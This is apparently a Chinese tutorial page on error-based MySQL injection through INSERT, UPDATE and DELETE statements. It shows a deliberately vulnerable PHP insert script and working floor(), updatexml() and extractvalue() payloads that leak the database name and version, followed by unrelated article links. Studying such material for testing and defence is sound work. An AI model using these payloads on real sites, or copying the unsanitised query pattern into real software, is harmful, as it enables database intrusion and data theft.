select 查询数据(大部分)

  在网站应用中进行数据显示查询操作

insert 插入数据

  在网站应用中进行用户注册添加等操作

delete 删除数据

  后台管理里面删除文章删除用户等操作

update 更新数据

  数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了

模拟网站环境执行SQL命令:

本地模拟网站输入用户名

<?php
$id=$_GET['i'];
$users=$_GET['u'];
$pass=$_GET['p']; $sql="insert into users (id,name,password) values ('$id','$users','$pass');";
echo $sql; ?>

指定u参数即可生成插入数据库的SQL命令

同时在任意数据库中新建以下表:

insert语句

INSERT INTO 语句用于向表格中插入新的行。

语法
INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

floor()报错演示Payload:

insert插入命令:

一般出现在注册是新建昵称等插入文字的地方

本地参数u中用户名输入:

Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

执行的完整SQL语句

insert into users (id,name,password) values ('','Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '','');

复制到SQL数据库中执行

可以看到执行之后显示出数据库名

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

数据库执行

delete命令
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

updatexml()报错演示Payload

insert命令:

用户名输入:

Olivia' or updatexml(1,concat(0x7e,(version())),0) or '

复制去数据库执行


可以看到把数据库的版本查询出来了

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set password='Olivia' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2;

delete命令
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

extractvalue()报错演示Payload

insert命令:

用户名输入:

Olivia' or extractvalue(1,concat(0x7e,database())) or '

update命令
update users set password='Olivia' or extractvalue(1,concat(0x7e,database())) or '';

delete命令
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

文章参考https://www.cnblogs.com/babers/articles/7252401.html

MySQL三种报错注入方式下的insert,update,delete命令注入示例的更多相关文章

  1. MySQL 三种关联查询的方式: ON vs USING vs 传统风格

    看看下面三个关联查询的 SQL 语句有何区别? 1SELECT * FROM film JOIN film_actor ON (film.film_id = film_actor.film_id) 2 ...

  2. Laravel:php artisan key:generate三种报错解决方案,修改默认PHP版本(宝塔面板)

    为了兼容N多个网站,服务器上有3个PHP版本5.3/5.6/7.2.宝塔默认为5.3,但是laravel5.7并不支持,所以在创建线上 .env 环境配置文件,初始化应用配置时候报错了. cp .en ...

  3. mysql三种修改密码的方式

    [root@MySQL ~]# mysqladmin -uroot -proot -S /data/3307/mysql.sock password '123'; 其中-p是现在的密码,passwor ...

  4. Linux下登陆MySQL时遇到报错"RROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) "

    前言 作者在2021-07-21时遇到 linux下登陆MySQL时遇到报错"RROR 1045 (28000): Access denied for user 'root'@'localh ...

  5. MySQL中遇到的几种报错及其解决方法

    MySQL中遇到的几种报错及其解决方法 1.[Err] 1064 - You have an error in your SQL syntax; check the manual that corre ...

  6. python︱模块加载(pip安装)以及pycharm安装与报错解决方式

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 准备放下R开始学python,真是痛苦,因为找 ...

  7. Spring中三种配置Bean的方式

    Spring中三种配置Bean的方式分别是: 基于XML的配置方式 基于注解的配置方式 基于Java类的配置方式 一.基于XML的配置 这个很简单,所以如何使用就略掉. 二.基于注解的配置 Sprin ...

  8. mysql三种带事务批量插入

    原文:mysql三种带事务批量插入 c#之mysql三种带事务批量插入 前言 对于像我这样的业务程序员开发一些表单内容是家常便饭的事情,说道表单 我们都避免不了多行内容的提交,多行内容保存,自然要用到 ...

  9. Request三种获取数据的方式

    今天在做ajax请求后台代码时,发现ajax的方法都对,但就是请求不了后台代码,后来在同事帮助下才发现前台定义了两个相同参数导致请求出错. 下面记录一下request三种获取数据的方式: 1. Req ...

随机推荐

  1. rest framework Request

    要求 如果你正在做基于REST的Web服务的东西......你应该忽略request.POST. -马尔科姆Tredinnick,Django开发组 REST框架的Request类继承了标准HttpR ...

  2. 安装JDK步骤,配置环境变量

    DK是Java语言的软件开发工具包,主要用于移动设备.嵌入式设备上的java应用程序.JDK是整个java开发的核心,它包含了JAVA的运行环境(JVM+Java系统类库)和JAVA工具.所以今天教一 ...

  3. incubator-dolphinscheduler 如何在不写任何新代码的情况下,能快速接入到prometheus和grafana中进行监控

    一.prometheus和grafana 简介 prometheus是由谷歌研发的一款开源的监控软件,目前已经贡献给了apache 基金会托管. 监控通常分为白盒监控和黑盒监控之分. 白盒监控:通过监 ...

  4. 2018年11月16日SQL Server实验内容(触发器实验)

    --注意:先把studentmanager数据库中的所有表用select into命令复制一份, --然后用复制后新表完成下面的实验,同时,对每个触发器都要进行验证. select *into dep ...

  5. ubuntu修改默认启动内核

    一.序言 新换的笔记本由于太新的主板芯片,驱动还没有完善.每次升级系统内核都要小心谨慎.经常发生部分硬件驱动失败的事情.系统Ubuntu 20.04.2 LTS x86_64 ,我现在使用的两个版本的 ...

  6. Java之常用API

    API概述 什么是API API (Application Programming Interface) :应用程序编程接口 java中的API 指的就是 JDK 中提供的各种功能的 Java类,这些 ...

  7. Istio 生产环境用户流量接入方案

    总结Istio 生产环境用户流量接入方案 方案1 Client -> istioGateway域名(微服务) -> VritualService匹配路由并绑定网关 -> Destin ...

  8. [Fundamental of Power Electronics]-PART I-4.开关实现-4.2 功率半导体器件概述

    4.2 功率半导体器件概述 功率半导体设计中最根本的挑战是获得高击穿电压,同时保持低正向压降和导通电阻.一个密切相关的问题是高压低导通电阻器件的开关时间更长.击穿电压,导通电阻和开关时间之间的折衷是各 ...

  9. Spring Security Oauth2 认证(获取token/刷新token)流程(password模式)

    https://blog.csdn.net/bluuusea/article/details/80284458

  10. 【C/C++】面向对象开发的优缺点

    原创文章,转发请注明出处. 面向对象开发的优缺点 面向对象开发 是相对于 面向过程开发 的一种改进思路. 由于流水线式的面相过程开发非常直接,高效.在面对一些简单项目时,只需要几百行,甚至是几十行代码 ...